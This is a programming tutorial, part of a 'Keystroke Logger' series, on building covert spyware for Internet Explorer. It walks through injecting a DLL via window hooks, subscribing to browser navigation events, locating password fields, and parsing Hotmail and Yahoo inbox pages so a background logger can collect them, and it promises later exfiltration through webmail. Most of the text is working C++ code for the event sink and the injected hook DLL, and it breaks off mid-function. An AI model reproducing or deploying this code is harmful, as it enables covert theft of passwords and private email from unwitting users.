Keystroke Logger and More...(3)


This article was contributed by Zhefu Zhang

 

Environment: VC6+SP5 or 7, Win 2K/XP/2003 ONLY!, MS PlatformSDK, Microsoft XML Parser (MSXML)

 

Note: It is the third article of "KeyStroke Logger and More" serials. For consistency it is highly recommended you read the first and second article of this serials before continuing this one. To fully experiment the functionality of the logger, you must be using an active Internet connection, and own an mail account on www.hotmail.com and www.yahoo.com to see interception on-line e-mail system.

 

Part 4 --- It is time for IE:

 

 IE Hook In A Nut Shell

 After you read the first 2 articles, I assumed you have been at home with the mechanism of hooking under GUI Windows environment and the inter process communication already. Either you hook into a password edit box or into MSN Messenger, the basic idea is to inject your DLL into the target process, and interact with the windows residing in that thread (It is rarely GUI windows resides in multiple threads in real world application, though you can do that if you like if you do not care the chore of thread message redirection). When you plan to hook into MS Internet Explorer (IE), you will find the previous method will not work at all because MS wraps the browser tightly into a COM objects collections called MSHTML (DHTML or whatever I do not care); to the outside, these objects only expose a few dozens of COM interfaces. One of my previous article "Super Password Spy++"  (Jan 2003, www.CodeGuru.com) introduced a tool with which user could peek into the password area inside an IE page plus common password edit box. Since it is a tool for human, the user takes care of using their mouse to locate the password area. While to a logger running background, you have little chance of counting on the guy telling your logger where the password area is. So the logger must at least do the following to work correctly on IE hook monitoring:

    1.   Find Any Running IE instance (actually, all web browser containing "Internet Explorer_Server" window, it may be inside Outlook Express, for example)

    2.   Inject your DLL into each IE instance (same thread) once and only once (refer the first article for "why")

    3.   Obtain DHTML COM interface pointer from IE window handle. There are 2 steps: First from the window handle to IHTMLDocument2, then from the latter to IWebBrowser2.

    4.   Advise your IDispach-based interface to DHTML connection point DWebBrowserEvents2 to get notification (event) from IE. This is the core of all our work here. Without knowing the time the IE navigate to other URL, how could you get information from IE dynamically. Do not tell me you want to count on polling, it will definitely consume terrible CPU time (causing perceivable performance hit) and will lead to IE GP crashing ABSOLUTELY at some time point due to unsolvable synchronization problem by polling.  

    5. Whenever before IE navigates to a new URL,  Parse the page with DHTML hierarchy.

    6. Correctly handle out-dated COM pointer, Release old and make fresh pointer.

    7a. If password area available inside page, Read nearby HTML element just as we did to the password edit box in the first article.

    7b. If URL is of on-line mail pages, parse the page. It is somewhat a psychology plus engineering problem --- You have to guess the thinking pattern of these Web page developers and following them in the parsing... no panacea here.

    7c. If URL is of any interesting pre-defined site, Dump the page

    8.   Inter-process communication, Transfer data to logger, Special care on any memory management (ex. buffer size check) and exception handling.

    9a. If 7b is true, Re-use the on-line mail system, Transfer intercepted data outside (see consecutive article on this serials)

    9b. If 7c is true, more effort is needed to parse certain URL and transfer data

    10  Handle exit gracefully, release COM pointer

  Among all steps, Step 4, 6, 7b, 8 and 9a are very crucial and error prone. Let's preview these steps one by one:

  Step 1 and 2 are not big deals, and you could find you at home if you read thru my first 2 articles for it is so similar to them, just this time you hook "Internet Explorer_Server" instead of "EDIT", "MSNMSBLClass" or whatever. And you could find how-to Step 3 in my article "Super Password Spy++" and C++ Q/A June 2001 MSDN Magazine. Step 4 requires you to derive a class from IDispatch in C++ or you choose using structure to mimic Vtable of IDispatch in plain C, and I choose former for less coding lines in C++, but you can still use the latter way. From technique aspect, they are the same. Step 5 is not difficult in theory, in one word, you enumerate the whole DHTML hierarchy on the page, and search for some pre-defined keyword. Like Step 4, the problem is that MSDN's help on this field is not clear, or rather, too succinct and not much C++ sample (actually, most are script code samples). Step 6 sounds hackneyed, but you will soon find the pain of control something that you are out of control, I bet unless you are a member of MS IE development team, your should-be-ok code will fail miserably at first --- pointer points to invalid address while in the previous loop they work greatly, and the target IE crashes naturally for your pointer plays fire inside its process space. More annoying problems pops their ugly heads one by one, some pages are so huge that you must check every memory copy to ensure your logger do not screw up the remote processes...

  When you reaches Step 7, you also need some sense on choosing the page elements from the HTML page sea. In this article I pick up only www.hotmail.com and www.yahoo.com as our interception samples of on-line mail system. MS seems managing and developing their global MSN network more systematically --- that is, a hotmail account page initialized by American and Japanese users are the same layout. Note, I am not saying all language's hotmail pages are the same. The result, our code example running well on various countries' MSN local pages. Yahoo, on the other hand, seems put the pages development work on individual country's yahoo son company. Take an example, the Yahoo mail login page is "http://mail.yahoo.com/?.intl=*" (Note: I use DOS-like wildcard * and ? in URLs to stand for garbage characters) when you are using www.yahoo.com, while its Japanese counterpart is "http://mail.yahoo.co.jp/*". If this still has some sense, the continuing story is really funny, the "Inbox" page of US yahoo is "http://*.mail.yahoo.com/ym/ShowFolder?rb=Inbox&*", which at least contains a keyword "Inbox" anyway, Yahoo! Japan's "Inbox" page is "http://jp.*.mail.yahoo.co.jp/ym/login?.rand=*". Sounds more crazy than "Rand", doesn't it? The worst thing does not stop here ---- the 2 "Inbox" pages' layout are completely different --- different table number, different table call number and etc... In the end, the Japanese reader will have to modify my code if they want to apply the program on Yahoo! Japan. But, do not put me wrong, most of  the modification is just changing the URL wilcard name accordingly, changing DTML element enumeration parameter (for example, the mail list is using 6 table row here while maybe 5 table row there, so you change number 6 to 5 in the code and so on), the basic framework will be the same, which is a good news to them.

  Step 8 will be mentioned in the code list below when we go thru them. Step 9 will be covered in later articles of this serials. Step 10 seems another kind of hackneyed stuff, but I think quite a few people will code like:

  //Inside the DLL injected into the IE

  CComPtr lpHTMLDocument2;

  //some operation

  lpHTMLDocument2->Release(); //Oops, you crash IE in the last minute...

  The problem is not only the proper usage of CComPtr, but also the latent bug inside ATL smart pointer. Refer the reference list for more detail. The correct usage is .Release() instead of ->Release() by the way.

  

  Something  needed to know to work with DHTML model inside IE

  Relationship between DHTML COM object and GUI Windows:

  To make coding life a little easier when coping with the parse of special page, I made a small helper program called "HtmlPeeker". Showing how to enumerate DHTML hierarchy, dump elements and parse a table cell by cell, it not only help coding the parser code in my program but also help readers to understand the code inside the more advanced IE injection DLL (In real word, a lot of pages, to keep format or visual effect, use a lot nested table, so our task to find the proper cell is "mission impossible" without this knowledge). Following code shows how to dump some frequently used html elements --- button, textarea, and combobox:

  

  #pragma warning(disable : 4192)
  #pragma warning(disable : 4146)
  #import <mshtml.tlb> // Internet Explorer 4+

  #include <Atlbase.h>  //to use CComVariant

  //all err-handlers are omitted to save space

  //m_pHtmlView is CHtmlView on the left panel

  LPDISPATCH pDocument = m_pHtmlView->GetHtmlDocument();
  MSHTML::IHTMLDocument2Ptr spHtmlDocument(pDocument);
  MSHTML::IHTMLElementCollection *pCollection;
  spHtmlDocument->get_all(&pCollection);
  long len;
  pCollection->get_length(&len);
  for(int i = 0; i < len; i++)
  {
        LPDISPATCH lpItem = pCollection->item(CComVariant(i),

              CComVariant(i));
        //Parse Button, Input, Check, Radio
        MSHTML::IHTMLInputElementPtr lpElement;
        HRESULT hr = lpItem->QueryInterface(&lpElement);
        if(SUCCEEDED(hr))
        {

             _bstr_t name = lpElement->Getname();
             _bstr_t type = lpElement->Gettype();
             _bstr_t value = lpElement->Getvalue();
             //I use MFC Framework, so.. make it simple
             CString strName = (LPTSTR)name;
             CString strType = (LPTSTR)type;
             CString strValue = (LPTSTR)value;
             CString str = _T("\r\n") + strName + _T(" $$$ ") +

                     strType + _T(" $$$ ") + strValue;

             //Write to right panel .....

             //Free Memory !!!

             ::SysFreeString(name);
             ::SysFreeString(type);
             ::SysFreeString(value);
         }

        //Parse TextArea
        MSHTML::IHTMLTextAreaElementPtr lpArea;
        hr = lpItem->QueryInterface(&lpArea);
        if(SUCCEEDED(hr))
        {
              _bstr_t name = lpArea->Getname();
              _bstr_t type = lpArea->Gettype();
              _bstr_t value = lpArea->Getvalue();

              CString strName = (LPTSTR)name;
              CString strType = (LPTSTR)type;
              CString strValue = (LPTSTR)value;
              CString str = _T("\r\n") + strName + _T(" $$$ ") +

                        strType + _T(" $$$ ") + strValue;
               //Write to right panel .....

               //Free Memory !!!

             ::SysFreeString(name);
             ::SysFreeString(type);
             ::SysFreeString(value);


        }

        //Parse Combo --

        // NOTE:  Sometimes Combo is REALLY WINDOWS inside a page
        MSHTML::IHTMLSelectElementPtr lpCombo;
        hr = lpItem->QueryInterface(&lpCombo);
        if(SUCCEEDED(hr))
        {
               long len;
               lpCombo->get_length(&len);
               CString str = _T("\r\n-->Options Starts\r\n");
               m_pEditView->SendMessage(EM_SETSEL, -1, -1);
               m_pEditView->SendMessage(EM_REPLACESEL, 0,

                       (LPARAM)(LPCTSTR)str);
               for(int i = 0; i < len; i++)
               {
                       LPDISPATCH lpItem = lpCombo->item(CComVariant(i),

                               CComVariant(i));
                       MSHTML::IHTMLOptionElementPtr lpOption;
                       hr = lpItem->QueryInterface(&lpOption);
                       if(SUCCEEDED(hr))
                       {
                               BSTR name;
                               lpOption->get_text(&name);
                               _bstr_t value = lpOption->Getvalue();
                               VARIANT_BOOL selected;
                               lpOption->get_selected(&selected);

                               CString strName = (LPTSTR)name;
                               CString strValue = (LPTSTR)value;
                               str = _T("\r\n") + strName + _T(" $$$ ") +

                                      strValue;
                               if(selected == VARIANT_TRUE)
                               {
                                     str += _T("$$$ Selected");
                               }
                               //Write to right panel .....

                               //Free Memory !!!

                               ::SysFreeString(name);
                               ::SysFreeString(type);
                               ::SysFreeString(value);

                       }
                }
                str = _T("-->Options Ends\r\n");
                m_pEditView->SendMessage(EM_SETSEL, -1, -1);
                m_pEditView->SendMessage(EM_REPLACESEL, 0,

                        (LPARAM)(LPCTSTR)str);
        }
   }

   I will not repeat how to decide a page containing password edit box or not. If you are not familiar with this part of code, go to my previous article "Super Password Spy++" for code excerpt. Besides, you will find code how to get IHTMLDocument from Browser Control Window Handle. Following figure shows the infrastructure of IE COM objects:

    
  Fig 3.1 Interaction of MSHTML COM object. Note: It is somewhat different from the figure of C++ Q/A June 2001 MSDN Magazine

From this figure, you can find that from any one of these objects, you can get other object through a Windows message or COM object method. Please make sure to read C++ Q/A June 2001 MSDN Magazine and note that I DO NOT think IServiceProvider can help providing the "Document Window Handle" directly as that MSDN C++ Q/A article figure showed, and even if figure is true, IOleWindow must first be queried, then call its GetWindow. In the end, even it is true, I suspect which window handle you get. For the sake of those developer who are new to MSHTML, here I show you guys two more figures with which I think will help understanding. The first one is the inside out COM object layout of an IE instance, a typical application using MSHTML. The second is the visual corresponding area of these COM interface, please note again, I can not draw all interface out in one picture.

 

    Fig3.2. Inside out COM Object layout of Internet Explorer

 

 

 Fig3.3 Visual Field Corresponding COM Object

  You can use "Ole View" tool to confirm the IWebBrowser2 is derived from IWebBrowserApp, and IWebBrowserApp is derived from IWebBrowser. These redundant interface make nothing but more confusing "Interface Hell" which is more serious than "DLL Hell" nowadays. Plus, IWebBrowser2 seems containing status bar and toolbar related methods, which are just a farce in most cases. If I just use MS web control on a dialog, why bother creating these status bar or toolbar (The fact is these methods just do nothing)? From my experience, I would rather deem IWebBrowser2 as a physical window shared by IHTMLDocument2 (In the above figure the purple rectangle). Take the following 2 figures from SPY++.

 

 

 Fig3.4 Windows layout of an IE, Note: Current Page have no Embedded ActiveX

 

  Fig3.5 Windows layout of a dialog hosting 2 web browser, one of them has done navigate

 

  This is my suggestion to new developers:

  1. First, forget IBrowser, IBrowserApp, all you have is IBrowser2 and IHTMLxxx interface.

  2. Secondly, forget any methods related with status bar, toolbar and so on. If you use web browser control on a dialog or a form view, create your own bar.

  3. Finally, think DHTML document and web browser use the same GUI window to user.

 

  So, go back these 2 figures. in IE, dead IWebBrowserApp responds to IE main window,  class name is "IEFrame". IWebBrowser2 and IHTMLDocument2 to windows  "Internet Explorer_Server". One thing, you can not prevent IE navigating to somewhere when launching it, the result is IWebBrowser2 will navigate somewhere and inside DTMHL document object will be constructed.

  On the other hand, look at the figure showing a dialog hosting 2 web browser --- web browser do not have document when it starts up until it navigates to somewhere. KB Q249232 "HOWTO: GetIHTMLDocument2 from a HWND" confirms this by stating "Internet Explorer_Server" is the document window. Note again (I have to ask you to take care again and again for there are too many pitfalls here). IHTMLDocument2 is represented by window "Internet Explorer_Server", but NOT ALL "Internet Explorer_Server" are IHTMLDocument2 embodiment!!! Go to online MSDN and use "shell docobject view" as search word, you can find an article called A View of Internals" extracted from "Instant DHTML Scriptlets" (Wrox 1997). When the article was writing, it is IE 4.0 era. It says: In fact, if the page hosts some windowed ActiveX controls, these windows would all be children of the server window of class "Internet Explorer_Server". I can not find the "Some ActiveX", but I can make one scenario: insert one HTML ATL control into a html page, and the windows layout is like following figure:

 Fig 3.6 An IE hosting a page which includes an ATL HTML control. Note that nested "Internet Explorer_Server" (0018115A) which is hosted by Ax

 

  Browser Event Handling:

  Let's continue with how to use this IHTMLDocument pointer. Just as we hook password edit box and MSN Messenger, we need a way to be notified when the human user or a embedded script navigate the browser. DHTML provides event sink interface DWebBrowserEvents2 to fire some events. When starting to write this program, I tried to use OnSubmit event, for I knew that a password element usually resides on a form, and the user sooner or later will push the submit button to go on. But after a few tries, I changed my mind, for linking to form dynamically is not only complicated but also useless with these pages without form like your hotmail Inbox page. So I choose BeforeNaviagte2 event, this event will be fired before any URL change, and I will filter out to get what URL I am interested. I made a simple C++ class CInterceptEvt to do interception work as following:

  //Header File

  #include <Exdisp.h> //to use IWebBrowser2
  #include "ComDef.h"
  class CInterceptEvt : public IDispatch
  {

        public:
        // IUnknown
        ULONG __stdcall AddRef();
        ULONG __stdcall Release();
        HRESULT __stdcall QueryInterface(REFIID iid, void** ppv);

        // IDispatch
        HRESULT __stdcall GetTypeInfoCount(UINT* pCountTypeInfo);
        HRESULT __stdcall GetTypeInfo(UINT iTypeInfo, LCID lcid,

                ITypeInfo** ppITypeInfo);
        HRESULT __stdcall GetIDsOfNames(REFIID riid,

               LPOLESTR* rgszNames, UINT cNames, LCID lcid,

               DISPID* rgDispId);
        HRESULT __stdcall Invoke(DISPID dispIdMember, REFIID riid,

                LCID lcid, WORD wFlags, DISPPARAMS* pDispParams,

                VARIANT* pVarResult, EXCEPINFO* pExcepInfo,

                UINT* puArgErr);

        private:
             ULONG m_cRef;
             ITypeInfo* m_pTypeInfo;

        public:

        // CInterceptEvt will be a global variable in DLL, so here is called

        //only once which also means you need C++ run time library for

        // global initialization of a C++ constructor
        CInterceptEvt() : m_cRef(1)  
        {
              for(int i =0; i < MAX_BROWSER; i++)
              {
                     m_ppBrowser[i] = NULL;
                     m_ppConnectionPoint[i] = NULL;
              }
         }
         ~CInterceptEvt() {}
         BOOL Init(void);
 

         //Connect to individual IE window
         void SetSource(IWebBrowser2Ptr pBrowser,

                    DWORD dwIndex);
         void ExitEvents(DWORD dwIndex);
         void ConnectEvents(DWORD dwIndex);

         IWebBrowser2Ptr m_ppBrowser[MAX_BROWSER];
         IConnectionPoint* m_ppConnectionPoint[MAX_BROWSER];
         DWORD m_dwCookie[MAX_BROWSER];
   };

   

   //CPP File  

   ULONG CInterceptEvt::AddRef()
   {
          return ++m_cRef;
   }
   ULONG CInterceptEvt::Release()
   {
          if(--m_cRef != 0) return m_cRef;
          m_pTypeInfo->Release();
          delete this;
          return 0;
    }
    HRESULT CInterceptEvt::QueryInterface(REFIID riid, void** ppv)
    {
          if(riid == IID_IUnknown)
               *ppv = (IUnknown*)this;
          else if(riid == IID_IDispatch)
               *ppv = (IDispatch*)this;
          else
          {
               *ppv = NULL;
               return E_NOINTERFACE;
          }
          AddRef();
          return S_OK;
    }

    BOOL CInterceptEvt::Init(void)
    {
           return TRUE;
    }

    HRESULT CInterceptEvt::GetTypeInfoCount(

           UINT* pCountTypeInfo)
    {
           return S_OK;
     }

     HRESULT CInterceptEvt::GetTypeInfo(UINT iTypeInfo, LCID lcid,

           ITypeInfo** ppITypeInfo)
     {
           return S_OK;
     }

     HRESULT CInterceptEvt::GetIDsOfNames(REFIID riid,

           LPOLESTR* rgszNames, UINT cNames, LCID lcid,

           DISPID* rgDispId)
     {
           return S_OK;
      }
      ////////////////////////////////////////////////////////////////////
      void CInterceptEvt::ConnectEvents(DWORD dwIndex)
      {
             if(m_ppBrowser[dwIndex] == NULL) return;
             IConnectionPointContainer* pCPContainer;
             // Step 1: Get a pointer to the connection point container
             HRESULT hr = m_ppBrowser[dwIndex]->QueryInterface(I

                     ID_IConnectionPointContainer, (void**)&pCPContainer);
             if (SUCCEEDED(hr))
             {
                     // m_pConnectionPoint is defined like this:
                     // IConnectionPoint* m_pConnectionPoint;
                     WCHAR strEvent[] =

                            L"{3050f364-98b5-11cf-bb82-00aa00bdce0b}";
                     //LPOLESTR = WCHAR = TCHAR //here all unicode

                     CLSID uuidEvent;
                     HRESULT hrEvent = CLSIDFromString(

                            (LPOLESTR)strEvent, &uuidEvent);
                     //ASSERT(SUCCEEDED(hrEvent));

                     // Step 2: Find the connection point
                     hr = pCPContainer->FindConnectionPoint(
                               DIID_DWebBrowserEvents2,

                               &m_ppConnectionPoint[dwIndex]);
                     if (SUCCEEDED(hr))
                     {
                               // Step 3: If everythin goes well, Advise
                               hr = m_ppConnectionPoint[dwIndex]->Advise(

                                       this, &m_dwCookie[dwIndex]);
                               if (FAILED(hr)) err-handler;
                               pCPContainer->Release();
                               return;
                      }
                      ::ReportErr(_T("ConnectEvents"));
              }

       }
 

       void CInterceptEvt::ExitEvents(DWORD dwIndex)
       {
               // Step 5: Unadvise
               if (m_ppConnectionPoint[dwIndex])
               {
                         HRESULT hr = m_ppConnectionPoint[dwIndex]->

                                Unadvise(m_dwCookie[dwIndex]);
                }
       }

       void CInterceptEvt::SetSource(IWebBrowser2Ptr pBrowser,

                DWORD dwIndex)
       {
                m_ppBrowser[dwIndex] = pBrowser;
       }

       HRESULT CInterceptEvt::Invoke(DISPID dispidMember,
               REFIID riid, LCID lcid, WORD wFlags,
               DISPPARAMS* pDispParams,
               VARIANT* pvarResult,
               EXCEPINFO* pExcepInfo,
               UINT* puArgErr)
      {
               if (!pDispParams)
                      return E_INVALIDARG;
               //I am afraid you have to read MSDN carefully and

               // make some try before coding other events
               switch (dispidMember)
               {
// The parameters for this DISPID are as follows:
// [0]: Cancel flag - VT_BYREF|VT_BOOL
// [1]: HTTP headers - VT_BYREF|VT_VARIANT
// [2]: Address of HTTP POST data - VT_BYREF|VT_VARIANT
// [3]: Target frame name - VT_BYREF|VT_VARIANT
// [4]: Option flags - VT_BYREF|VT_VARIANT
// [5]: URL to navigate to - VT_BYREF|VT_VARIANT
// [6]: An object that evaluates to the top-level or frame
// WebBrowser object corresponding to the event.
// [6]: type = 9 VT_DISPATCH
                case DISPID_BEFORENAVIGATE2:
                    if (pDispParams->cArgs >= 6 &&
                             pDispParams->rgvarg[6].vt == VT_DISPATCH)
                {

                          //Got browser control's interface, make confirmation
                          IDispatch *pDispVal =

                                  &(*pDispParams->rgvarg[6].pdispVal);
                          for(int i = 0; i < MAX_BROWSER; i++)
                          {

                                  //compare these 2 COM interface's IUnknown
                                  if(m_ppBrowser[i])
                                  {
                                        IUnknown* pUnk1;
                                        IUnknown* pUnk2;
                                        HRESULT hr1 = m_ppBrowser[i]->QueryInterface(

                                               IID_IUnknown,  (void**)&pUnk1);
                                        HRESULT hr2 = pDispVal->QueryInterface(

                                               IID_IUnknown, (void**)&pUnk2);
                                        if(pUnk1 == pUnk2)
                                        {
                                               Trigger(i);

                                               //Got it, check URL, if within out interest

                                               //parse html page and dump info from it!!!
                                               break;
                                         }
                                   }
                           }
                   }
                  break;
          default:
                break;
      }
      return S_OK;
}

 

  Code, Code and Code:

  Following is the code of the DLL which is injected into the IE process space.

 

// Forward references
LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam,

        LPARAM lParam);
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam,

        LPARAM lParam) ;

///////////////////////////////////////////////////////////////////////////////
#pragma data_seg("Shared")
//Post Hook Handle
HHOOK g_hBrowserPostHook[MAX_BROWSER] = {NULL,...};
//Send Hook Handle
HHOOK g_hBrowserSendHook[MAX_BROWSER] = {NULL,...};
//Tracked Browser
HWND g_hBrowserWnd[MAX_BROWSER] = {NULL,...};
//Tracked Active Browser

//(Which Contents Has Never Been Spied Even Once)
HWND g_hActiveBrowserWnd[MAX_BROWSER] = {NULL,...};
//IHTMLDocument2 pointer. Note The machine must be running Win2K+
MSHTML::IHTMLDocument2Ptr g_lpHTMLDocument2

         [MAX_BROWSER] =  {NULL, ..., NULL};
//IWebBrowser2 pointer
IWebBrowser2Ptr g_lpWeb2[MAX_BROWSER] = {NULL,...};
//Global Event Interceptor Class
CInterceptEvt g_event;
//Tracked Browser Thread
DWORD g_idBrowserThread[MAX_BROWSER] = {0, ..., 0};
//Browser Page State -- Page, PreDefined ...etc
DWORD g_dwBrowserState[MAX_BROWSER] = {0, ..., 0};
#pragma data_seg()
// Instruct the linker to make the Shared section
// readable, writable, and shared.
#pragma comment(linker, "/section:Shared,rws")
// Nonshared variables
HINSTANCE g_hinstDll = NULL;

BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
      switch (ul_reason_for_call)
      {
             case DLL_PROCESS_ATTACH:
                   g_hinstDll = (HINSTANCE)hModule;
                   break;
             case DLL_THREAD_ATTACH:
             case DLL_THREAD_DETACH:
             case DLL_PROCESS_DETACH:
                   break;
       }
       return TRUE;
}

//The Second Browser Window in the same thread

//Will Not Set A New Hook
BOOL WINAPI InitBrowserLink(HWND hBrowser)
{
       DWORD td = ::GetWindowThreadProcessId(hBrowser, NULL);
       //Check if this thread has been hooked
       for(int i = 0; i < MAX_BROWSER; i++)
       {
             if(g_idBrowserThread[i] == td) //no need to hook
             {
                   //Set Hook To Previous Value
                  DWORD dwIndex = InsertBrowserHwnd(hBrowser);
                  if(dwIndex == (UINT)-1) return FALSE;
                  g_hBrowserSendHook[dwIndex] = g_hBrowserSendHook[i];
                  g_hBrowserPostHook[dwIndex] = g_hBrowserPostHook[i];
                  g_idBrowserThread[dwIndex] = g_idBrowserThread[i];
                  return TRUE;
             }
       }

       //First Window On This Thread, Hook It
       DWORD dwIndex = InsertBrowserHwnd(hBrowser);
       if(dwIndex == (UINT)-1) return FALSE;
       g_idBrowserThread[dwIndex] = ::GetWindowThreadProcessId(

             hBrowser, NULL);

       // Install the hook on the specified thread
       g_hBrowserSendHook[dwIndex] = SetWindowsHookEx(

             WH_CALLWNDPROC, (HOOKPROC) CallWndProc,
             g_hinstDll, g_idBrowserThread[dwIndex]);
      if(g_hBrowserSendHook[dwIndex] == NULL) err-handler;

      g_hBrowserPostHook[dwIndex] = SetWindowsHookEx(

             WH_GETMESSAGE, GetMsgProc,
             g_hinstDll, g_idBrowserThread[dwIndex]);
      if(g_hBrowserPostHook[dwIndex] == NULL)  err-handler;
      PushActiveBrowser(hBrowser); //Remember this new guy
      return TRUE;
}

BOOL WINAPI ExitBrowserLink(HWND hBrowser)
{
       DWORD dwIndex = QueryBrowserHwndIndex(hBrowser);
       if(dwIndex == (UINT)-1) return FALSE;

       DWORD tid = ::g_idBrowserThread[dwIndex];
       DWORD dwThreadNum = 0;
       for(int i = 0; i < MAX_BROWSER; i++)
       {
             if(g_idBrowserThread[i] == tid) dwThreadNum++;
       }

       //If the thread is used by other browser, do not unhook it
       if(dwThreadNum > 1)
       {

             //release the com object linked with the browser
            AntiLinkCom(dwIndex);
            g_hBrowserWnd[dwIndex] = NULL;
            g_hBrowserSendHook[dwIndex] = NULL;
            g_hBrowserPostHook[dwIndex] = NULL;
            g_idBrowserThread[dwIndex] = 0;
            return TRUE;
      }

      //the last browser running on the thread ready to quit
     BOOL b = UnhookWindowsHookEx(g_hBrowserSendHook[dwIndex]);
     if(!b)  err-handler;
     UnhookWindowsHookEx(g_hBrowserPostHook[dwIndex]);
     AntiLinkCom(dwIndex); //unlink the com object
     g_hBrowserWnd[dwIndex] = NULL;
     g_hBrowserSendHook[dwIndex] = NULL;
     g_hBrowserPostHook[dwIndex] = NULL;
     g_idBrowserThread[dwIndex] = 0;
     return TRUE;
}
/////////////////////////////////////////////////////////////////////////
DWORD InsertBrowserHwnd(HWND hBrowser)
{
      for(int i = 0; i < MAX_BROWSER; i++)
     {
           if(g_hBrowserWnd[i] == NULL)
           { 
                g_hBrowserWnd[i] = hBrowser;
                return i;
           }
      }
      return (UINT)-1;
}

//Query hBrowser's index in g_hBrowserWnd, NOT used in Service
DWORD QueryBrowserHwndIndex(HWND hBrowser)
{
      if(hBrowser == NULL) return (UINT)-1;
      for(int i = 0; i < MAX_BROWSER; i++)
      {
            if(g_hBrowserWnd[i] == hBrowser) return i;
       }
       return (UINT)-1;
}

//When InitBrowserLink, Set Active Browser, link with event class
BOOL PushActiveBrowser(HWND hBrowser)
{
       for(int i = 0; i < MAX_BROWSER; i++)
       {
             if(g_hActiveBrowserWnd[i] == NULL)
             {
                   g_hActiveBrowserWnd[i] = hBrowser;
                   return i;
             }
       }
       return FALSE;
}
 

//bDelete: If COM link OK, then bDelete = TRUE
HWND PopActiveBrowser(BOOL bDelete)
{
       for(int i = 0; i < MAX_BROWSER; i++)
       {
             if(g_hActiveBrowserWnd[i] != NULL)
             {
                   HWND h = g_hActiveBrowserWnd[i];
                   if(bDelete) g_hActiveBrowserWnd[i] = NULL;
                   return h;
            }
       }
       return NULL;
}

//Get Hooked Browser Number
DWORD WINAPI GetBrowserArrayNumber()
{
       DWORD dwRet = 0;
       for(int i = 0; i < MAX_BROWSER; i++)
       {
            if(g_hBrowserWnd[i]) dwRet++;
       }
       return dwRet;
}

//Check browser Array State
void WINAPI CheckBrowserArray()
{
       for(int i = 0; i < MAX_BROWSER; i++)
       {
             if(g_hBrowserWnd[i])
             {
                  if(IsBrowser(g_hBrowserWnd[i]))
                 {
                      //Do Nothing
                 }
                 else
                 {
                      g_hBrowserWnd[i] = NULL;
                      g_hBrowserSendHook[i] = NULL;
                      g_hBrowserPostHook[i] = NULL;
                      g_idBrowserThread[i] = 0;
                 }
            }
      }
      return;
}


//Note: If You Have the Handle of The Browser, Call

//QueryBrowserHwndIndex, First Read the HTML Source, URL ...

//of the browser, Copy To MMF
BOOL WINAPI QueryDocument(DWORD dwIndex,

        WPARAM dwType)
{
        if(g_hBrowserWnd[dwIndex] == NULL) return FALSE;
        PostMessage(g_hBrowserWnd[dwIndex],

               WM_QUERY_BROWSER, dwType, 0);
        return TRUE;
}

LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam,

        LPARAM lParam)
{
        MSG* msg = (MSG*)lParam;
        //The First Time Browser or Browser's (Same Thread)

        //Window Got Called
        //Link Browser with Event Class,
        //if Link to COM is ok, Remove it from Active Array
        if(PopActiveBrowser(FALSE) != NULL)
        {
              HWND hWnd = msg->hwnd;

              DWORD tid = GetWindowThreadProcessId(hWnd, NULL);
              DWORD dwIndex =

                     QueryBrowserHwndIndex(PopActiveBrowser(FALSE));
              if(dwIndex != -1 && tid == ::g_idBrowserThread[dwIndex])
              {
                     HWND h = PopActiveBrowser(TRUE);
                     //inside it, more message cause re-enter
                     LinkCom(dwIndex);
               }
         }

         //wParam : WM_WPARAM_QUERY_HTML, lParam : not used
         if(msg->message == WM_QUERY_BROWSER)
         {
               for(int i = 0; i < MAX_BROWSER; i++)
               {
                     if(msg->hwnd == ::g_hBrowserWnd[i] &&

                        msg->hwnd != NULL)
                    {
                           if(g_lpHTMLDocument2[i] == NULL)
                                ::LinkCom(i);

                           //get COM document pointer ok
                           if(g_lpHTMLDocument2[i] != NULL)
                           {
                                 InterQueryDocument(i, msg->wParam);
                           }
                    }
               }
          }

          //find the hook index
          HWND hWnd = msg->hwnd;
          DWORD dwIndex = -1;
          DWORD tid = GetWindowThreadProcessId(hWnd, NULL);

          for(int i = 0; i < MAX_BROWSER; i++)
          {
                if(tid == ::g_idBrowserThread[i])
                {
                     dwIndex = i;
                     break;
                }
           }
           if(dwIndex == MAX_BROWSER) //err ???
                return 0;
          return(CallNextHookEx(g_hBrowserPostHook[dwIndex],

                nCode, wParam, lParam));
}

//SendMessage Hook Proc
LRESULT CALLBACK CallWndProc(
int nCode, // hook code

// If sent by the current thread, it is nonzero; otherwise, it is zero.
WPARAM wParam,
LPARAM lParam // message data
)
{
        CWPSTRUCT * pCwp = (CWPSTRUCT *)lParam;

        //find the hook index
        ....

        //wParam : WM_WPARAM_CHECK_ISPWD, lParam : not used
        if(pCwp->message == WM_QUERY_BROWSER)
        {
              for(int i = 0; i < MAX_BROWSER; i++)
              {
                     if(pCwp->hwnd == ::g_hBrowserWnd[i] &&

                        pCwp->hwnd != NULL)
                     {
                           if(g_lpHTMLDocument2[i] == NULL)
                                ::LinkCom(i);
                           if(g_lpHTMLDocument2[i] != NULL)
                           {
                                  if(pCwp->wParam ==

                                       WM_WPARAM_CHECK_ISPWD)
                                  {
                                           BOOL b = InterIsPwdBrowser(i);
                                           DWORD dw =

                                             WM_WPARAM_CHECK_ISPWD;
                                           if(b)
                                                g_dwBrowserState[i] |= dw;
                                           else
                                                g_dwBrowserState[i] &= ~dw;
                                           return 0; //no need passing to hook chain
                                  }
                                  else if(pCwp->wParam ==

                                              WM_WPARAM_CHECK_ISPREDEF)
                                  {

                                          //check url to see if we are interested with this
                                          enumPreDefinePage b =

                                                InterIsPreDefBrowser(i);
                                          DWORD dw =

                                              WM_WPARAM_CHECK_ISPREDEF;
                                          if(b != none)
                                               g_dwBrowserState[i] |= dw;
                                          else
                                               g_dwBrowserState[i] &= ~dw;
                                          return 0;
                                  }
                           }
                   }
            }
     }
     return CallNextHookEx (g_hBrowserSendHook[dwIndex],

                   nCode, wParam, lParam) ;
}


//exposed to users, get whole html data
BOOL InterQueryDocument(DWORD dwIndex, WPARAM dwType)
{
     if(g_lpHTMLDocument2[dwIndex] == NULL)
     {
            LinkCom(dwIndex);
            if(g_lpHTMLDocument2[dwIndex] == NULL) return FALSE;
      }
      LPVOID pView = NULL;
      HANDLE hMMF = OpenFileMapping(FILE_MAP_READ |

                              FILE_MAP_WRITE, FALSE, g_MMF_NAME);
      if (hMMF == NULL) err-handler;
